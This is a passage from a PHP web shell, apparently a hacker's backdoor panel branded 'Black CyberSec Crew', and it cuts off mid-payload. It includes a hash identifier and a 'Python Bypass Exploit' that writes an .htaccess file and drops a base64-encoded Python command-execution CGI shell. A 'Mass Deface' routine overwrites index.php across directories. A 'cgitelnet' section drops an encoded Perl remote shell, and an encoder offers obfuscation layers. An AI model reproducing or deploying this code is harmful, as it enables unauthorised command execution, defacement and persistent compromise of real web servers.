$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, \'$1$\')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, \'$apr1$\')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, \'$H$\')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, \'$P$\')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, \'$5$\')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, \'$6$\')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, \'==\')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "No Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size=\'60\' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'python\')) {
echo "<center/><br/><b>
--==[ Python Bypass Exploit ]==--
</b><br><br>";
mkdir(\'python\', 0755);
chdir(\'python\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = \'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi\';
$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.izo",0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'string\')){
$text = $_POST[\'code\'];
?><center><br><br><b>--==[ Script Encode & Decode ]==--</b><br><br>
<form method="post"><br><br><br>
<textarea class=\'inputz\' cols=80 rows=10 name="code"></textarea><br><br>
<select class=\'inputz\' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'Encrypt\'>
<input class=\'inputzbut\' type=\'submit\' name=\'submits\' value=\'Decrypt\'>
</form>
<?php
$submit = $_POST[\'submit\'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case \'base64\': $codi=base64_encode($text);
break;case \'str\' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case \'gzinflate\' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;default:break;}}
$submit = $_POST[\'submits\'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case \'base64\': $codi=base64_decode($text);
break;case \'str\' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case \'gzinflate\' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;default:break;}}
echo \'<textarea cols=80 rows=10 class="inputz" readonly>\'.$codi.\'</textarea></center><BR><BR>\';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mass\'))
{
echo "<center/><br/><b><font color=#FF0000>--==[ Mass Deface ]==--</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER[\'PHP_SELF\']?>" method=\'post\'>
<td><table><table class="tabnet" >
<form hethot=\'post\'>
<tr>
<tr>
<td> Folder</td><td><input class =\'inputz\' type=\'text\' name=\'path\' size=\'60\' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>File N</td><td><input class =\'inputz\' type=\'text\' name=\'file\' size=\'60\' value="index.php"></td>
</tr>
</tr>
<th colspan=\'2\'><b>Index Code</b></th><br></table>
<textarea style=\'background:black;outline:none;\' name=\'index\' rows=\'10\' cols=\'67\'>Powered By Black CyberSec Crew</textarea><br>
<center><input class=\'inputzbut\' type=\'submit\' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi\')) {
echo "<center/><br/><b><font color=blue>--==[ cgitelnet.v1 Bypass Exploit]==--</font></b><br><br>";
mkdir(\'cgitelnet1\', 0755);
chdir(\'cgitelnet1\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = \'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJ